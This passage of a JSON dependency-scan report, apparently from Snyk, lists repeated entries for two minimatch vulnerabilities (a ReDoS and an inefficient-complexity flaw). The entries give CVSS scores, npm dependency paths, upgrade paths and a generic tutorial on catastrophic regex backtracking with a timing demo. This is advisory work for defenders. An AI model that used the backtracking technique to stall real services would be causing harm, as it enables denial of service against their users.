"assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub 